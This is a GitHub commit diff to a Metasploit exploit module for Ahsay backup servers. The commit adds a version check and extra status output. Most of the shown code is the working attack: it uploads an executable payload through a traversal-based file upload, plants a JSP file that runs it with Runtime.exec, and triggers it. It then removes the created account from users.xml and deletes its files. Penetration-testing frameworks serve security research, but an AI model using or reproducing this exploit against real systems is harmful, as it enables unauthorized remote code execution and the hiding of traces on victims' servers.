Skip to content

Commit

Permalink
#12095 added version check if vulnerable
Browse files Browse the repository at this point in the history
#12095 cleaned up the code
#12095 added more output
#12095 added comments
  • Loading branch information
Wietsman committed Jul 22, 2019
1 parent 71da3b7 commit 3b08ed8
Showing 1 changed file with 83 additions and 43 deletions.
126 changes: 83 additions & 43 deletions modules/exploits/windows/misc/ahsay_backup_fileupload.rb
Original file line number Diff line number Diff line change
Expand Up @@ -79,40 +79,6 @@ def initialize(info = {})
])
end

def check
trial_enabled = is_trial_enabled?
username = datastore['USERNAME']
password = datastore['PASSWORD']
if trial_enabled and datastore['CREATEACCOUNT'] == "true"
if username == "" or password == ""
print_status("Please set a username and password")
return Exploit::CheckCode::Unknown
else
# print_status("create account")
return Exploit::CheckCode::Vulnerable
end
elsif username != "" and password != ""
if check_account?
print_status("Username and password are valid")
return Exploit::CheckCode::Vulnerable
else
print_status("Username and password are invalid")
if trial_enabled
print_status("Server supports trial accounts, you can create an account!")
end
return Exploit::CheckCode::Unknown
end
elsif trial_enabled
print_status("Server supports trial accounts, try creating an account")
return Exploit::CheckCode::Unknown
else
print_status("Server does not support trial accounts, use a valid username and password.")
return Exploit::CheckCode::Fail
end

# return Exploit::CheckCode::Unknown
end

def is_trial_enabled?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
Expand All @@ -139,9 +105,12 @@ def check_account?
return true
elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
# fail_with(Failure::NoAccess, 'Username incorrect!')
print_status("Username does not exist.")
return false
elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
print_status("Username exists but password incorrect!")
return false
else
return false
end
Expand Down Expand Up @@ -213,29 +182,30 @@ def create_account?
end
end


def remove_account
if datastore['CREATEACCOUNT']
print_status("Looking for account")
xml_doc = download("../../conf/users.xml")
username = datastore['USERNAME']
users_xml = "../../conf/users.xml"
print_status("Looking for account #{username} in #{users_xml}")
xml_doc = download(users_xml)
xmldoc = Document.new(xml_doc)
el = 0
xmldoc.elements.each("Setting/Key") do |e|
el = el + 1
e.elements.each("Value") do |a|
if a.attributes["name"].include?('name')
if a.attributes["data"].include?(username)
print_status("Found account")
print_good("Found account")
xmldoc.root.elements.delete el
print_status("Removed account")

end
end
end
end
new_xml = xmldoc.root
upload("../../conf/users.xml", new_xml.to_s)
print_status("Uploading new #{users_xml} file")
upload(users_xml, new_xml.to_s)
print_good("Account is inaccesible when service restarts!")
end
end

Expand All @@ -252,18 +222,24 @@ def drop_and_execute()
exploitpath = exploitpath.gsub("/","\\\\\\")
requestpath = path.gsub("../../webapps/",'')

#First stage payload creation and upload
exe = payload.encoded_exe
exe_filename = Rex::Text.rand_text_alpha(10)
exefileLocation = "#{path}/#{exe_filename}.exe"
print_status("Uploading first stage payload.")
upload(exefileLocation, exe)
#../../webapps/cbs/help/en
exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}

#Second stage payload creation and upload
jsp_filename = Rex::Text.rand_text_alpha(10)
jspfileLocation = "#{path}/#{jsp_filename}.jsp"
print_status("Uploading second stage payload.")
upload(jspfileLocation, exec)
proto = ssl ? 'https' : 'http'
url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")

#Triggering the exploit
print_status("Triggering exploit! #{url}" )
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
Expand All @@ -274,14 +250,15 @@ def drop_and_execute()
end

#Cleaning up
print_status("Cleaning up after our selfs.")
remove_account
print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
delete(exefileLocation)
delete(jspfileLocation)
delete("../../user/#{datastore['USERNAME']}",true)
end

def upload(fileLocation, content)
print_status("Uploading payload")
username = Rex::Text.encode_base64(datastore['USERNAME'])
password = Rex::Text.encode_base64(datastore['PASSWORD'])
uploadPath = Rex::Text.encode_base64(fileLocation)
Expand All @@ -298,7 +275,7 @@ def upload(fileLocation, content)
'timeout' => 20
})
if res && res.code == 201
print_good("Succesfully uploaded #{fileLocation}")
print_good("Succesfully uploaded file to #{fileLocation}")
else
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
end
Expand Down Expand Up @@ -349,4 +326,67 @@ def delete(fileLocation, recursive=false)
res.body
end
end

def check
#We need a cookie first
cookie_res = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),
'method' => 'GET'
})

if cookie_res and cookie_res.code == 200
cookie = cookie_res.get_cookies.split()[0]
else
return Exploit::CheckCode::Unknown
end

if defined?(cookie)
#request the page with all the clientside software links.
headers = {}
headers['Cookie'] = cookie
link = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),
'method' => 'GET',
'headers' => headers
})

if link and link.code == 200
link.body.each_line do |line|
#looking for the link that contains obm-linux and ends with .sh
if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
filename = line.split("<a")[1].split('"')[1].split("?")[0]
filecontent = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, filename),
'method' => 'GET',
'headers' => headers
})
if filecontent and filecontent.code == 200
filecontent.body.each_line do |l|
if l.include? 'VERSION="'
number = l.split("=")[1].split('"')[1]
if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
if number <= '8.1.1.50' and not number < '7'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
end
else
return Exploit::CheckCode::Unknown
end
end
end
else
return Exploit::CheckCode::Unknown
end
else
return Exploit::CheckCode::Unknown
end

end
end

0 comments on commit 3b08ed8

Please sign in to comment.